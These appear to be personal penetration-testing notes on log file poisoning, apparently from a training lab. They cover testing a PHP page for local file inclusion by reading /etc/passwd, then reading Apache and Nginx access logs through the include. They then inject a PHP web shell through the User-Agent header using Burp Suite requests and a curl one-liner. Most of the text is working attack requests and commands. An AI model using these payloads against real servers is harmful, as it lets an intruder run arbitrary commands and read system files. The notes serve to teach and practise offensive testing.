this method's aim is to poison the modifiable field in a web server's log file.
APACHE LOG FILE POISONING
in apache, the target log file for poisoning should be the access.log file as it contains a modifiable "User-Agent" header which can be controlled by attackers. apache logs are readable only by users with high privileges. however, in older or misconfigured apache servers, these logs may be readable by low-privileged users. the location of apache's log files by default are: /var/log/apache2 on Linux and c:\xampp\apache\logs on Windows. if the logs files aren't in their default location, fuzzing for their location will be required using an .
the "User-Agent" header is also shown on process files in /proc/self/environ or /proc/self/fd/{PID between 0-50}. this method may become handy in case the initial approach isn't working due to read access requirement.
#test whether the site is vulnerable to LFI using discovery methods
#method 1: sample
root@oco:~$ BROWSER > {targetSite:port}
Language: {english | spanish}
root@oco:~$ BROWSER > {targetSite:port}/index.php?language=es.php
#identify whether LFI vulnerability exist
root@oco:~$ BROWSER > {targetSite:port}/index.php?language=/etc/passwd
root:x:0:0:root:/root:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
...
* method 1 will work if the back-end is configured similar to below
- include($_GET['language']);
* the two common readable files that are available on most back-end servers are
/etc/passwd on Linux and C:\Windows\boot.ini on Windows
#STEP 2: test whether apache or nginx's logs can be accessed
root@oco:~$ BROWSER > http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log
output: 10.30.18.27 - - [28/Jan/2025:02:07:54 +0000] "GET / HTTP/1.1" 200 1466 "-" "Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0"
* the User-Agent header can be controlled by attackers through the HTTP request
headers and can be poisoned
* Logs tend to be huge, and loading them in an LFI vulnerability may take a while to load, or even crash the server in worst-case scenarios
#STEP 3: modify the User-Agent header to Apache Log Poisoning
root@oco:~$ burpsuite
BURP > BROWSER > http://83.136.255.142:57618/index.php?language=/var/log/apache2/access.log
BURP > Proxy > Intercept
Request
...
GET /index.php?language=/var/log/apache2/access.log HTTP/1.1
Host: 83.136.255.142:57618
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Cookie: PHPSESSID=9cmbsek5i2eoca0btqqq8sam60
* send the request to repeater
BURP > Repeater
Request
...
GET /index.php?language=/var/log/apache2/access.log HTTP/1.1
Host: 83.136.255.142:57618
User-Agent: {Apache Log Poisoning}
Cookie: PHPSESSID=9cmbsek5i2eoca0btqqq8sam60
* change the value of "User-Agent" string to an {arbitraryValue}
Response
...
/index.php?language=/var/log/apache2/access.log HTTP/1.1" 200 1533 "-" "Apache Log Poisoning"
#STEP 4: poison the User-Agent header by setting it to a basic PHP web shell
BURP > Repeater
Request
...
GET index.php?language=/var/log/apache2/access.log&cmd=pwd HTTP/1.1
Host: 83.136.255.142:57618
User-Agent: <?php system($_GET['cmd']);?>
Cookie: PHPSESSID=9cmbsek5i2eoca0btqqq8sam60
* change the value of "User-Agent" string to a php web shell along with the cmd in one execution
* ALT: curl -s "http://94.237.50.242:45915/index.php" -A "<?php system($_GET['cmd']); ?>
NGINX LOG FILE POISONING
nginx's log location is in /var/log/nginx on Linuux and in c:\nginx\log\ on windows. the nginx logs are readable by low privileged users by default (e.g., www-data) and can be exploited the same way as apache's access.log.
LOG FILE POISONING: OTHER LOG FILES
the log files below may also be utilized depending on which logs the attacker have read access. attackers should first attempt to read the logs through LFI to see whether there is access then proceed with log poisoning techniques.